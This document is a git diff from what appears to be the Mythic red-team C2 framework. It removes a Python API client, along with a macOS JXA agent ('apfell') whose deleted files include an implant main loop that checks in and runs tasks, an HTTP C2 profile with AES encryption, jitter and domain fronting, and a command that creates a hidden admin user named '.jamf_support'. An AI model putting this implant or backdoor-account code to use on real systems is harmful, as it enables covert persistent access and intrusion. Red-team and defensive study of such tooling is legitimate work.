- ptype=entry["payload_type"],
- commands=[
- Command(
- cmd=entry["command"], id=entry["command_id"]
- )
- ],
- )
- )
- if not found:
- dcp = DisabledCommandsProfile(name=entry["name"], payload_types=[])
- dcp.payload_types.append(
- PayloadType(
- ptype=entry["payload_type"],
- commands=[
- Command(cmd=entry["command"], id=entry["command_id"])
- ],
- )
- )
- profile_entries.append(dcp)
- resp.response = profile_entries
- return resp
-
- async def update_disabled_commands_profile_for_operator(
- self,
- profile: Union[DisabledCommandsProfile, str],
- operator: Operator,
- operation: Operation,
- ) -> MythicResponse:
- # async def add_or_update_operator_for_operation(self, operation: Operation, operator: Operator)
- if isinstance(profile, DisabledCommandsProfile):
- operator.base_disabled_commands = profile.name
- else:
- operator.base_disabled_commands = profile
- resp = await self.add_or_update_operator_for_operation(operation, operator)
- return resp
-
- # =============== EVENT LOG MESSAGES ========================
-
- async def get_all_event_messages(self) -> MythicResponse:
- """
- Get all of the event messages associated with Mythic for the current operation that are not deleted
- :return:
- """
- url = "{}{}:{}/api/v{}/event_message".format(
- self._http, self.server_ip, self._server_port, self._server_api_version
- )
- resp = await self.get_json(url)
- if resp.response_code == 200 and resp.status == "success":
- resp.response = [EventMessage(**x) for x in resp.response["alerts"]]
- return resp
-
- async def create_event_message(self, message: EventMessage) -> MythicResponse:
- """
- Create new event message for the current operation
- :return:
- """
- url = "{}{}:{}/api/v{}/event_message".format(
- self._http, self.server_ip, self._server_port, self._server_api_version
- )
- resp = await self.post_json(url, data=await obj_to_json(message))
- if resp.response_code == 200 and resp.status == "success":
- resp.response = EventMessage(resp.response)
- return resp
-
- async def update_event_message(self, message: EventMessage) -> MythicResponse:
- """
- Update event message for the current operation
- :return:
- """
- url = "{}{}:{}/api/v{}/event_message/{}".format(
- self._http,
- self.server_ip,
- self._server_port,
- self._server_api_version,
- str(message.id),
- )
- resp = await self.put_json(url, data=await obj_to_json(message))
- if resp.response_code == 200 and resp.status == "success":
- resp.response = EventMessage(resp.response)
- return resp
-
- async def remove_event_message(self, message: EventMessage) -> MythicResponse:
- """
- Update event message for the current operation
- :return:
- """
- url = "{}{}:{}/api/v{}/event_message/delete".format(
- self._http, self.server_ip, self._server_port, self._server_api_version
- )
- resp = await self.post_json(url, data={"messages": [message.id]})
- if resp.response_code == 200 and resp.status == "success":
- resp.response = EventMessage(resp.response)
- return resp
-
- async def remove_event_messages(self, messages: List) -> MythicResponse:
- """
- Update event message for the current operation
- :return:
- """
- url = "{}{}:{}/api/v{}/event_message/delete".format(
- self._http, self.server_ip, self._server_port, self._server_api_version
- )
- msgs = [m.id for m in messages]
- resp = await self.post_json(url, data={"messages": msgs})
- if resp.response_code == 200 and resp.status == "success":
- resp.response = EventMessage(resp.response)
- return resp
-
- # ============= CUSTOM HELPER FUNCTIONS ======================
-
- async def login(self):
- """
- Login with username/password and store resulting access_token and refresh_token
- """
- url = "{}{}:{}/auth".format(self._http, self._server_ip, self._server_port)
- data = {"username": self.username, "password": self.password}
- resp = await self.post_json(url, data)
- if resp.response_code == 200:
- self._access_token = resp.response["access_token"]
- self._refresh_token = resp.response["refresh_token"]
- return resp
- else:
- raise Exception("Failed to log in: " + json.dumps(resp, indent=2, default=lambda o: o.to_json()))
- sys.exit(1)
-
- async def set_or_create_apitoken(self, token_type="User"):
- """
- Use current auth to check if there are any user tokens. Either get one or create a new user one
- """
- resp = await self.get_apitokens()
- if resp.status == "success":
- for x in resp.response:
- if x.token_type == token_type:
- self._apitoken = x
- resp.response = x
- return resp
- # if we get here, then we don't have a token of the right type for us to just leverage, so we need to get one
- token_resp = await self.create_apitoken(token_type=token_type)
- if token_resp.response_code == 200:
- self._apitoken = token_resp.response
- return token_resp
-
- async def wait_for_task_status_change(self, task_id, status, timeout=None):
- """
- Uses websockets to listen for notifications related to the specified task within a certain period of time
- if self.timeout is -1, then wait indefinitely
- :param task_id:
- :param status: the status we're waiting for (error is always included)
- :return:
- """
- if timeout is None:
- timeout = self.global_timeout
- url = "{}{}:{}/ws/task/{}".format(
- self._ws, self._server_ip, self._server_port, str(task_id)
- )
- headers = self.get_headers()
- try:
- async with aiohttp.ClientSession() as session:
- ws = await session.ws_connect(url, headers=headers, ssl=False)
- start = time()
- while True:
- try:
- if timeout > 0 and (time() - start >= timeout):
- raise Exception("wait_for_task_status_change has timed out")
- msg = await ws.receive()
- if msg.data is None:
- return None
- if msg.data != "":
- task = Task(**json.loads(msg.data))
- if (
- task.status == "error"
- or task.completed == True
- or task.status.lower() == status.lower()
- ):
- return task
- except Exception as e:
- raise Exception("Exception while waiting for task status change: " + str(e))
- except Exception as e:
- raise Exception("Exception in outer try/catch while waiting for task status change: " + str(e))
-
- async def wait_for_payload_status_change(self, payload_uuid, status, timeout=None):
- """
- Uses websockets to listen for notifications related to the specified pyaload within a certain period of time
- if self.timeout is -1, then wait indefinitely
- :param payload_uuid:
- :param status: the status we're waiting for (error is always included)
- :return:
- """
- if timeout is None:
- timeout = self.global_timeout
- url = "{}{}:{}/ws/payloads/{}".format(
- self._ws, self._server_ip, self._server_port, str(payload_uuid)
- )
- headers = self.get_headers()
- try:
- async with aiohttp.ClientSession() as session:
- ws = await session.ws_connect(url, headers=headers, ssl=False)
- start = time()
- while True:
- try:
- if timeout > 0 and (time() - start >= timeout):
- raise Exception(
- "wait_for_payload_status_change has timed out"
- )
- msg = await ws.receive()
- if msg.data is None:
- return None
- if msg.data != "":
- payload = Payload(**json.loads(msg.data))
- if (
- payload.build_phase == "error"
- or payload.deleted == True
- or payload.build_phase == status
- ):
- return payload
- except Exception as e:
- raise Exception("Exception while waiting for payload status change: " + str(e))
- except Exception as e:
- raise Exception("Exception in outer try/catch while waiting for payload status change: " + str(e))
-
- # ============= WEBSOCKET NOTIFICATION FUNCTIONS ===============
-
- async def listen_for_all_notifications_on_one_callback(
- self, callback_id, callback_function=None, timeout=None
- ):
- """
- Uses websockets to listen for all notifications related to a specific callback and prints to the screen.
- To stop listening, call cancel() on the result from this function call
- :param callback_id:
- :param callback_function: gets called on each notification
- :return:
- """
- url = "{}{}:{}/ws/unified_callback/{}".format(
- self._ws, self._server_ip, self._server_port, str(callback_id)
- )
- if callback_function:
- task = await self.stream_output(url, callback_function, timeout)
- else:
- task = await self.stream_output(url, self.print_websocket_output, timeout)
- return task
-
- async def listen_for_new_callbacks(self, callback_function=None, timeout=None):
- """
- Uses websockets to listen for all notifications related new callbacks.
- To stop listening, call cancel() on the result from this function call
- :param callback_function: gets called on each notification
- :return:
- """
- url = "{}{}:{}/ws/new_callbacks/current_operation".format(
- self._ws, self._server_ip, self._server_port
- )
- if callback_function:
- task = await self.stream_output(url, callback_function, timeout)
- else:
- task = await self.stream_output(url, self.print_websocket_output, timeout)
- return task
-
- async def listen_for_responses_for_task(
- self, task_id, callback_function=None, timeout=None
- ):
- """
- Uses websockets to listen for all responses on a given task
- To stop listening, call cancel() on the result from this function call
- :param callback_id:
- :param callback_function: gets called on each notification
- :return:
- """
- url = "{}{}:{}/ws/responses/by_task/{}".format(
- self._ws, self._server_ip, self._server_port, str(task_id)
- )
- if callback_function:
- task = await self.stream_output(url, callback_function, timeout)
- else:
- task = await self.stream_output(url, self.print_websocket_output, timeout)
- return task
-
- async def gather_task_responses(self, task_id, timeout=None) -> List:
- """
- Uses websockets to listen for all responses related to task_id and gather them together into an array until the task is completed or errored.
- :param callback_id:
- :param callback_function: gets called on each notification
- :return:
- """
- if timeout is None:
- timeout = self.global_timeout
- url = "{}{}:{}/ws/responses/by_task/{}".format(
- self._ws, self._server_ip, self._server_port, str(task_id)
- )
- headers = self.get_headers()
- responses = []
- try:
- async with aiohttp.ClientSession() as session:
- ws = await session.ws_connect(url, headers=headers, ssl=False)
- start = time()
- while True:
- try:
- if timeout > 0 and (time() - start >= timeout):
- raise Exception("gather_task_responses has timed out")
- msg = await ws.receive()
- if msg.data is None:
- return responses
- if msg.data != "":
- rsp = Response(**json.loads(msg.data))
- # await json_print(rsp)
- responses.append(rsp)
- if rsp.task.status == "error" or rsp.task.completed == True:
- return responses
- except Exception as e:
- raise Exception("Exception while gathering responses: " + str(e))
- except Exception as e:
- raise Exception("Exception in our try/catch while gathering responses: " + str(e))
-
- async def listen_for_all_files(self, callback_function=None, timeout=None):
- """
- Uses websockets to listen for all file notifications within mythic for the current operation.
- This includes payloads, uploads, downloads, screenshots.
- :param callback_function: gets called on each notification
- :return:
- """
- url = "{}{}:{}/ws/files/current_operation".format(
- self._ws, self._server_ip, self._server_port
- )
- if callback_function:
- task = await self.stream_output(url, callback_function, timeout)
- else:
- task = await self.stream_output(url, self.print_websocket_output, timeout)
- return task
-
- async def listen_for_new_files(self, callback_function=None, timeout=None):
- """
- Uses websockets to listen for all file notifications within mythic for the current operation.
- This includes uploads, downloads.
- :param callback_function: gets called on each notification
- :return:
- """
- url = "{}{}:{}/ws/files/new/current_operation".format(
- self._ws, self._server_ip, self._server_port
- )
- if callback_function:
- task = await self.stream_output(url, callback_function, timeout)
- else:
- task = await self.stream_output(url, self.print_websocket_output, timeout)
- return task
-
- async def listen_for_all_responses(self, callback_function=None, timeout=None):
- """
- Uses websockets to listen for all response notifications within mythic for the current operation.
- :param callback_function: gets called on each notification
- :return:
- """
- url = "{}{}:{}/ws/responses/current_operation".format(
- self._ws, self._server_ip, self._server_port
- )
- if callback_function:
- task = await self.stream_output(url, callback_function, timeout)
- else:
- task = await self.stream_output(url, self.print_websocket_output, timeout)
- return task
-
- async def listen_for_new_responses(self, callback_function=None, timeout=None):
- """
- Uses websockets to listen for all new response notifications within mythic for the current operation.
- :param callback_function: gets called on each notification
- :return:
- """
- url = "{}{}:{}/ws/responses/new/current_operation".format(
- self._ws, self._server_ip, self._server_port
- )
- if callback_function:
- task = await self.stream_output(url, callback_function, timeout)
- else:
- task = await self.stream_output(url, self.print_websocket_output, timeout)
- return task
-
- async def listen_for_all_tasks(self, callback_function=None, timeout=None):
- """
- Uses websockets to listen for all tasks within mythic for the current operation.
- :param callback_function: gets called on each notification
- :return:
- """
- url = "{}{}:{}/ws/tasks/current_operation".format(
- self._ws, self._server_ip, self._server_port
- )
- if callback_function:
- task = await self.stream_output(url, callback_function, timeout)
- else:
- task = await self.stream_output(url, self.print_websocket_output, timeout)
- return task
-
- async def listen_for_new_tasks(self, callback_function=None, timeout=None):
- """
- Uses websockets to listen for all new tasks within mythic for the current operation.
- :param callback_function: gets called on each notification
- :return:
- """
- url = "{}{}:{}/ws/tasks/new/current_operation".format(
- self._ws, self._server_ip, self._server_port
- )
- if callback_function:
- task = await self.stream_output(url, callback_function, timeout)
- else:
- task = await self.stream_output(url, self.print_websocket_output, timeout)
- return task
-
- async def listen_for_all_payloads(self, callback_function=None, timeout=None):
- """
- Uses websockets to listen for all payloads within mythic for the current operation.
- :param callback_function: gets called on each notification
- :return:
- """
- url = "{}{}:{}/ws/payloads/info/current_operation".format(
- self._ws, self._server_ip, self._server_port
- )
- if callback_function:
- task = await self.stream_output(url, callback_function, timeout)
- else:
- task = await self.stream_output(url, self.print_websocket_output, timeout)
- return task
-
- async def listen_for_all_credentials(self, callback_function=None, timeout=None):
- """
- Uses websockets to listen for credentials within mythic for the current operation.
- :param callback_function: gets called on each notification
- :return:
- """
- url = "{}{}:{}/ws/credentials/current_operation".format(
- self._ws, self._server_ip, self._server_port
- )
- if callback_function:
- task = await self.stream_output(url, callback_function, timeout)
- else:
- task = await self.stream_output(url, self.print_websocket_output, timeout)
- return task
-
- async def listen_for_new_credentials(self, callback_function=None, timeout=None):
- """
- Uses websockets to listen for new credentials within mythic for the current operation.
- :param callback_function: gets called on each notification
- :return:
- """
- url = "{}{}:{}/ws/credentials/new/current_operation".format(
- self._ws, self._server_ip, self._server_port
- )
- if callback_function:
- task = await self.stream_output(url, callback_function, timeout)
- else:
- task = await self.stream_output(url, self.print_websocket_output, timeout)
- return task
-
- async def listen_for_all_event_messages(self, callback_function=None, timeout=None):
- """
- Uses websockets to listen for event messages within mythic for the current operation.
- :param callback_function: gets called on each notification
- :return:
- """
- url = "{}{}:{}/ws/events_all/current_operation".format(
- self._ws, self._server_ip, self._server_port
- )
- if callback_function:
- task = await self.stream_output(url, callback_function, timeout)
- else:
- task = await self.stream_output(url, self.print_websocket_output, timeout)
- return task
-
- async def listen_for_new_event_messages(self, callback_function=None, timeout=None):
- """
- Uses websockets to listen for new event messages within mythic for the current operation.
- :param callback_function: gets called on each notification
- :return:
- """
- url = "{}{}:{}/ws/events_notifier/current_operation".format(
- self._ws, self._server_ip, self._server_port
- )
- if callback_function:
- task = await self.stream_output(url, callback_function, timeout)
- else:
- task = await self.stream_output(url, self.print_websocket_output, timeout)
- return task
diff --git a/Mythic_CLI/requirements.txt b/Mythic_CLI/requirements.txt
deleted file mode 100644
index 97c7886f9..000000000
--- a/Mythic_CLI/requirements.txt
+++ /dev/null
@@ -1,2 +0,0 @@
-aiohttp
-asyncio
diff --git a/Payload_Types/poseidon/agent_code/download/.gitkeep b/Payload_Types/.gitkeep
old mode 100755
new mode 100644
similarity index 100%
rename from Payload_Types/poseidon/agent_code/download/.gitkeep
rename to Payload_Types/.gitkeep
diff --git a/Payload_Types/apfell/Dockerfile b/Payload_Types/apfell/Dockerfile
deleted file mode 100755
index ea00f25c0..000000000
--- a/Payload_Types/apfell/Dockerfile
+++ /dev/null
@@ -1 +0,0 @@
-From itsafeaturemythic/python38_payload:0.0.1
\ No newline at end of file
diff --git a/Payload_Types/apfell/agent_code/add_user.js b/Payload_Types/apfell/agent_code/add_user.js
deleted file mode 100755
index 93822561c..000000000
--- a/Payload_Types/apfell/agent_code/add_user.js
+++ /dev/null
@@ -1,74 +0,0 @@
-exports.add_user = function(task, command, params){
- try{
- // Add a user with dscl to the local machine
- let config = JSON.parse(params);
- let admin = true;
- let hidden = true;
- let username = ".jamf_support";
- let password = "P@55w0rd_Here";
- let realname = "Jamf Support User";
- let homedir = "/Users/";
- let uniqueid = 403;
- let primarygroupid = 80; //this is the admin group
- let usershell = "/bin/bash";
- let createprofile = false;
- let user = ""; //username of the user with sudo capability to do these commands
- let passwd = ""; //password of the user with sudo capability to do these commands
- if(config.hasOwnProperty("admin") && typeof config['admin'] == 'boolean'){ admin = config['admin']; }
- if(config.hasOwnProperty("hidden") && typeof config['hidden'] == 'boolean'){ hidden = config['hidden']; }
- if(config.hasOwnProperty("username") && config['username'] != ''){ username = config['username']; }
- if(config.hasOwnProperty("password") && config['password'] != ''){ password = config['password']; }
- if(config.hasOwnProperty("realname") && config['realname'] != ''){ realname = config['realname']; }
- if(config.hasOwnProperty("uniqueid") && config['uniqueid'] != -1){ uniqueid = config['uniqueid']; }
- else if(config.hasOwnProperty('uniqueid') && typeof config['uniqueid'] == 'string' && config['uniqueid'] != ''){ uniqueid = parseInt(config['uniqueid']); }
- if(config.hasOwnProperty("primarygroupid") && config['primarygroupid'] != -1){ primarygroupid = config['primarygroupid']; }
- else if(config.hasOwnProperty('primarygroupid') && typeof config['primarygroupid'] == 'string' && config['primarygroupid'] != ''){ primarygroupid = parseInt(config['primarygroupid']); }
- if(config.hasOwnProperty("usershell") && config['usershell'] != ''){ usershell = config['usershell']; }
- if(config.hasOwnProperty("createprofile") && typeof config['createprofile'] == "boolean"){ createprofile = config['createprofile']; }
- if(config.hasOwnProperty("homedir") && config['homedir'] != ''){ homedir = config['homedir']; }
- else{ homedir += username; }
- if(config.hasOwnProperty("user") && config['user'] != ''){ user = config['user']; }
- else{ return "User's name is required to do sudo commands"; }
- if(config.hasOwnProperty("passwd") && config['passwd'] != ''){ passwd = config['passwd']; }
- else{ return "User's password is required to do sudo commands"; }
- // now do our series of dscl commands to set up the account
- try{
- let cmd = "dscl . create /Users/" + username;
- currentApp.doShellScript(cmd, {administratorPrivileges:true, userName:user, password:passwd});
- if(hidden){
- cmd = "dscl . create /Users/" + username + " IsHidden 1";
- currentApp.doShellScript(cmd, {administratorPrivileges:true, userName:user, password:passwd});
- }
- cmd = "dscl . create /Users/" + username + " UniqueID " + uniqueid;
- currentApp.doShellScript(cmd, {administratorPrivileges:true, userName:user, password:passwd});
- cmd = "dscl . create /Users/" + username + " PrimaryGroupID " + primarygroupid;
- currentApp.doShellScript(cmd, {administratorPrivileges:true, userName:user, password:passwd});
- cmd = "dscl . create /Users/" + username + " NFSHomeDirectory \"" + homedir + "\"";
- currentApp.doShellScript(cmd, {administratorPrivileges:true, userName:user, password:passwd});
- cmd = "dscl . create /Users/" + username + " RealName \"" + realname + "\"";
- currentApp.doShellScript(cmd, {administratorPrivileges:true, userName:user, password:passwd});
- cmd = "dscl . create /Users/" + username + " UserShell " + usershell;
- currentApp.doShellScript(cmd, {administratorPrivileges:true, userName:user, password:passwd});
- if(admin){
- cmd = "dseditgroup -o edit -a " + username + " -t user admin";
- currentApp.doShellScript(cmd, {administratorPrivileges:true, userName:user, password:passwd});
- }
- cmd = "dscl . passwd /Users/" + username + " \"" + password + "\"";
- currentApp.doShellScript(cmd, {administratorPrivileges:true, userName:user, password:passwd});
- if(createprofile){
- cmd = "mkdir \"" + homedir + "\"";
- currentApp.doShellScript(cmd, {administratorPrivileges:true, userName:user, password:passwd});
- cmd = "cp -R \"/System/Library/User Template/English.lproj/\" \"" + homedir + "\"";
- currentApp.doShellScript(cmd, {administratorPrivileges:true, userName:user, password:passwd});
- cmd = "chown -R " + username + ":staff \"" + homedir + "\"";
- currentApp.doShellScript(cmd, {administratorPrivileges:true, userName:user, password:passwd});
- }
- return {"user_output": "Successfully ran the commands to create the user", "completed": true};
- }catch(error){
- return{"user_output": error.toString(), "status": "error", "completed": true};
- }
- }catch(error){
- return {"user_output": error.toString(), "status": "error", "completed": true};
- }
-
-};
diff --git a/Payload_Types/apfell/agent_code/base/apfell-jxa.js b/Payload_Types/apfell/agent_code/base/apfell-jxa.js
deleted file mode 100755
index 6fa9f98c6..000000000
--- a/Payload_Types/apfell/agent_code/base/apfell-jxa.js
+++ /dev/null
@@ -1,194 +0,0 @@
-// Created by Cody Thomas - @its_a_feature_
-ObjC.import('Cocoa');
-ObjC.import('Foundation'); //there by default I think, but safe to include anyway
-ObjC.import('stdlib');
-ObjC.bindFunction('CFMakeCollectable', ['id', ['void *'] ]);
-var currentApp = Application.currentApplication();
-currentApp.includeStandardAdditions = true;
-//--------------IMPLANT INFORMATION-----------------------------------
-class agent{
- constructor(){
- this.procInfo = $.NSProcessInfo.processInfo;
- this.hostInfo = $.NSHost.currentHost;
- this.id = "";
- this.user = ObjC.deepUnwrap(this.procInfo.userName);
- this.fullName = ObjC.deepUnwrap(this.procInfo.fullUserName);
- //every element in the array needs to be unwrapped
- this.ip = ObjC.deepUnwrap(this.hostInfo.addresses); //probably just need [0]
- this.pid = this.procInfo.processIdentifier;
- //every element in the array needs to be unwrapped
- this.host = ObjC.deepUnwrap(this.hostInfo.names); //probably just need [0]
- //this is a dictionary, but every 'value' needs to be unwrapped
- this.environment = ObjC.deepUnwrap(this.procInfo.environment);
- this.uptime = this.procInfo.systemUptime;
- //every element in the array needs to be unwrapped
- this.args = ObjC.deepUnwrap(this.procInfo.arguments);
- this.osVersion = this.procInfo.operatingSystemVersionString.js;
- this.uuid = "UUID_HERE";
- }
-}
-var apfell = new agent();
-//--------------Base C2 INFORMATION----------------------------------------
-class baseC2{
- //To create your own C2, extend this class and implement the required functions
- //The main code depends on the mechanism being C2 with these functions.
- // the implementation of the functions doesn't matter though
- // You're welcome to add additional functions as well, but this is the minimum
- constructor(interval, baseurl){
- this.interval = interval; //seconds between callbacks
- this.baseurl = baseurl; //where to reach out to
- this.commands = [];
- }
- checkin(){
- //check in with c2 server
- }
- getTasking(){
- //reach out to wherever to get tasking
- }
- getConfig(){
- //gets the current configuration for tasking
- }
- postResponse(task, output){
- //output a response to a task
- }
- setConfig(params){
- //updates the current configuration for how to get tasking
- }
- download(task, params){
- //gets a file from the apfell server in some way
- }
- upload(task, params){
- //uploads a file in some way to the teamserver
- }
-}
-C2PROFILE_HERE
-//-------------SHARED COMMAND CODE ------------------------
-does_file_exist = function(strPath){
- var error = $();
- return $.NSFileManager.defaultManager.attributesOfItemAtPathError($(strPath).stringByStandardizingPath, error), error.code === undefined;
-};
-convert_to_nsdata = function(strData){
- // helper function to convert UTF8 strings to NSData objects
- var tmpString = $.NSString.alloc.initWithCStringEncoding(strData, $.NSData.NSUnicodeStringEncoding);
- return tmpString.dataUsingEncoding($.NSData.NSUTF16StringEncoding);
-};
-write_data_to_file = function(data, file_path){
- try{
- //var open_file = currentApp.openForAccess(Path(file_path), {writePermission: true});
- //currentApp.setEof(open_file, { to: 0 }); //clear the current file
- //currentApp.write(data, { to: open_file, startingAt: currentApp.getEof(open_file) });
- //currentApp.closeAccess(open_file);
- if(typeof data == "string"){
- data = convert_to_nsdata(data);
- }
- if (data.writeToFileAtomically($(file_path), true)){
- return "file written";
- }
- else{
- return "failed to write file";
- }
- }
- catch(error){
- return "failed to write to file: " + error.toString();
- }
-};
-default_load = function(contents){
- var module = {exports: {}};
- var exports = module.exports;
- if(typeof contents == "string"){
- eval(contents);
- }
- else{
- eval(contents.js);
- }
- return module.exports;
-};
-base64_decode = function(data){
- if(typeof data == "string"){
- var ns_data = $.NSData.alloc.initWithBase64Encoding($(data));
- }
- else{
- var ns_data = data;
- }
- var decoded_data = $.NSString.alloc.initWithDataEncoding(ns_data, $.NSUTF8StringEncoding).js;
- return decoded_data;
-};
-base64_encode = function(data){
- if(typeof data == "string"){
- var ns_data = convert_to_nsdata(data);
- }
- else{
- var ns_data = data;
- }
- var encoded = ns_data.base64EncodedStringWithOptions(0).js;
- return encoded;
-};
-var exports = {}; // get stuff ready for initial command listing
-COMMANDS_HERE
-//console.log("about to load commands");
-var commands_dict = exports;
-var jsimports = "";
-
-//-------------GET IP AND CHECKIN ----------------------------------
-if( $.NSDate.date.compare(C2.kill_date) === $.NSOrderedDescending ){
- $.NSApplication.sharedApplication.terminate(this);
-}
-let ip_found = false;
-C2.commands = Object.keys(commands_dict);
-let domain = "";
-if(does_file_exist("/etc/krb5.conf")){
- let contents = $.NSString.stringWithContentsOfFileEncodingError("/etc/krb5.conf", $.NSUTF8StringEncoding, $.nil).js;
- contents = contents.split("\n");
- for(let j = 0; j < contents.length; j++){
- if(contents[j].includes("default_realm")){
- domain = contents[j].split("=")[1].trim();
- }
- }
-}
-for(let i=0; i < apfell.ip.length; i++){
- let ip = apfell.ip[i];
- if (ip.includes(".") && ip !== "127.0.0.1"){ // the includes(".") is to make sure we're looking at IPv4
- C2.checkin(ip,apfell.pid,apfell.user,ObjC.unwrap(apfell.procInfo.hostName),apfell.osVersion, "x64", domain);
- ip_found = true;
- break;
- }
-}
-if(!ip_found){
- C2.checkin("127.0.0.1",apfell.pid,apfell.user,ObjC.unwrap(apfell.procInfo.hostName),apfell.osVersion, "x64", domain);
-}
-//---------------------------MAIN LOOP ----------------------------------------
-function sleepWakeUp(){
- while(true){
- $.NSThread.sleepForTimeInterval(C2.gen_sleep_time());
- let output = "";
- let task = C2.getTasking();
- //console.log(JSON.stringify(task));
- let command = "";
- try{
- //console.log(JSON.stringify(task));
- if(task.length === 0){
- continue;
- }
- task = task[0];
- //console.log(JSON.stringify(task));
- command = task["command"];
- try{
- output = commands_dict[command](task, command, task['parameters']);
- }
- catch(error){
- if(error.toString().includes("commands_dict[command] is not a function")){
- output ={"user_output": "Unknown command: " + command, "status": "error", "completed": true};
- }
- else{
- output = {"user_output": error.toString(), "status": "error", "completed": true};
- }
- }
- C2.postResponse(task, output);
- }
- catch(error){
- C2.postResponse(task, {"user_output": error.toString(), "status": "error", "completed": true});
- }
- //task["command"] = "none"; //reset just in case something goes weird
- }
-}
-sleepWakeUp();
diff --git a/Payload_Types/apfell/agent_code/c2_profiles/HTTP.js b/Payload_Types/apfell/agent_code/c2_profiles/HTTP.js
deleted file mode 100644
index 77456745c..000000000
--- a/Payload_Types/apfell/agent_code/c2_profiles/HTTP.js
+++ /dev/null
@@ -1,494 +0,0 @@
-//-------------RESTFUL C2 mechanisms ---------------------------------
-class customC2 extends baseC2{
- constructor(interval, cback_host, cback_port){
- if(cback_port === "443" && cback_host.includes("https://")){
- super(interval, cback_host);
- }else if(cback_port === "80" && cback_host.includes("http://")){
- super(interval, cback_host);
- }else{
- let last_slash = cback_host.indexOf("/", 8);
- if(last_slash === -1){
- //there is no 3rd slash
- super(interval, cback_host + ":" + cback_port);
- }else{
- //there is a 3rd slash, so we need to splice in the port
- super(interval,cback_host.substring(0, last_slash) + ":" + cback_port + "/" + cback_host.substring(last_slash))
- }
- }
- this.commands = [];
- this.url = this.baseurl;
- this.getURI = "get_uri";
- this.postURI = "post_uri";
- this.queryPathName = "query_path_name";
- this.proxyURL = "proxy_host";
- this.proxyPort = "proxy_port";
- this.proxyUser = "proxy_user";
- this.proxyPassword = "proxy_pass";
- this.proxy_dict = {};
- if(this.proxyURL !== ""){
- if(this.proxyURL.includes("https")) {
- this.proxy_dict["HTTPSEnable"] = 1;
- this.proxy_dict["HTTPSProxy"] = this.proxyURL;
- this.proxy_dict["HTTPSPort"] = parseInt(this.proxyPort);
- }else{
- this.proxy_dict["HTTPEnable"] = 1;
- this.proxy_dict["HTTPProxy"] = this.proxyURL;
- this.proxy_dict["HTTPPort"] = parseInt(this.proxyPort);
- }
- }
- if(this.proxyUser !== ""){
- this.proxy_dict["kCFProxyUsernameKey"] = this.proxyUser;
- }
- if(this.proxyPassword !== ""){
- this.proxy_dict["kCFProxyPasswordKey"] = this.proxyPassword;
- }
- this.jitter = callback_jitter;
- this.host_header = "domain_front";
- this.user_agent = "USER_AGENT";
- this.aes_psk = "AESPSK"; // base64 encoded key
- if(this.aes_psk !== ""){
- this.parameters = $.CFDictionaryCreateMutable($.kCFAllocatorDefault, 0, $.kCFTypeDictionaryKeyCallBacks, $.kCFTypeDictionaryValueCallBacks);
- $.CFDictionarySetValue(this.parameters, $.kSecAttrKeyType, $.kSecAttrKeyTypeAES);
- $.CFDictionarySetValue(this.parameters, $.kSecAttrKeySizeInBits, $.kSecAES256);
- $.CFDictionarySetValue(this.parameters, $.kSecAttrKeyClass, $.kSecAttrKeyClassSymmetric);
- $.CFDictionarySetValue(this.parameters, $.kSecClass, $.kSecClassKey);
- this.raw_key = $.NSData.alloc.initWithBase64Encoding(this.aes_psk);
- let err = Ref();
- this.cryptokey = $.SecKeyCreateFromData(this.parameters, this.raw_key, err);
- }
- this.using_key_exchange = "encrypted_exchange_check" === "T";
- this.exchanging_keys = this.using_key_exchange;
- if("killdate" !== "yyyy-mm-dd" && "killdate" !== ""){
- this.dateFormatter = $.NSDateFormatter.alloc.init;
- this.dateFormatter.setDateFormat("yyyy-MM-dd");
- this.kill_date = this.dateFormatter.dateFromString('killdate');
- }else{
- this.kill_date = $.NSDate.distantFuture;
- }
- }
- get_random_int(max) {
- return Math.floor(Math.random() * Math.floor(max + 1));
- }
- gen_sleep_time(){
- //generate a time that's this.interval += (this.interval * 1/this.jitter)
- if(this.jitter < 1){return this.interval;}
- let plus_min = this.get_random_int(1);
- if(plus_min === 1){
- return this.interval + (this.interval * (this.get_random_int(this.jitter)/100));
- }else{
- return this.interval - (this.interval * (this.get_random_int(this.jitter)/100));
- }
- }
- encrypt_message(uid, data){
- // takes in the string we're about to send, encrypts it, and returns a new string
- let err = Ref();
- let encrypt = $.SecEncryptTransformCreate(this.cryptokey,err);
- let b = $.SecTransformSetAttribute(encrypt, $("SecPaddingKey"), $("SecPaddingPKCS7Key"), err);
- b= $.SecTransformSetAttribute(encrypt, $("SecEncryptionMode"), $("SecModeCBCKey"), err);
-
- //generate a random IV to use
- let IV = $.NSMutableData.dataWithLength(16);
- $.SecRandomCopyBytes($.kSecRandomDefault, 16, IV.bytes);
- b = $.SecTransformSetAttribute(encrypt, $("SecIVKey"), IV, err);
- // set our data to be encrypted
- let nsdata = $(data).dataUsingEncoding($.NSUTF8StringEncoding);
- b=$.SecTransformSetAttribute(encrypt, $.kSecTransformInputAttributeName, nsdata, err);
- //$.CFShow(err[0]);
- let encryptedData = $.SecTransformExecute(encrypt, err);
- // now we need to prepend the IV to the encrypted data before we base64 encode and return it
- //generate the hmac
- let hmac_transform = $.SecDigestTransformCreate($("HMAC-SHA2 Digest Family"), 256, err);
- let hmac_input = $.NSMutableData.dataWithLength(0);
- hmac_input.appendData(IV);
- hmac_input.appendData(encryptedData);
- b=$.SecTransformSetAttribute(hmac_transform, $.kSecTransformInputAttributeName, hmac_input, err);
- b=$.SecTransformSetAttribute(hmac_transform, $.kSecDigestHMACKeyAttribute, $.NSData.alloc.initWithBase64Encoding(this.aes_psk), err);
- let hmac_data = $.SecTransformExecute(hmac_transform, err);
-
- let final_message = $.NSMutableData.dataWithLength(0);
- final_message.appendData( $(uid).dataUsingEncoding($.NSUTF8StringEncoding) );
- final_message.appendData(IV);
- final_message.appendData(encryptedData);
- final_message.appendData(hmac_data);
- return final_message.base64EncodedStringWithOptions(0);
- }
- decrypt_message(nsdata){
- //takes in a base64 encoded string to be decrypted and returned
- //console.log("called decrypt");
- let err = Ref();
- let decrypt = $.SecDecryptTransformCreate(this.cryptokey, err);
- $.SecTransformSetAttribute(decrypt, $("SecPaddingKey"), $("SecPaddingPKCS7Key"), err);
- $.SecTransformSetAttribute(decrypt, $("SecEncryptionMode"), $("SecModeCBCKey"), err);
- //console.log("making ranges");
- //need to extract out the first 16 bytes as the IV and the rest is the message to decrypt
- let iv_range = $.NSMakeRange(0, 16);
- let message_range = $.NSMakeRange(16, nsdata.length - 48); // 16 for IV 32 for hmac
- let hmac_range = $.NSMakeRange(nsdata.length - 32, 32);
- let hmac_data_range = $.NSMakeRange(0, nsdata.length - 32); // hmac includes IV + ciphertext
- //console.log("carving out iv");
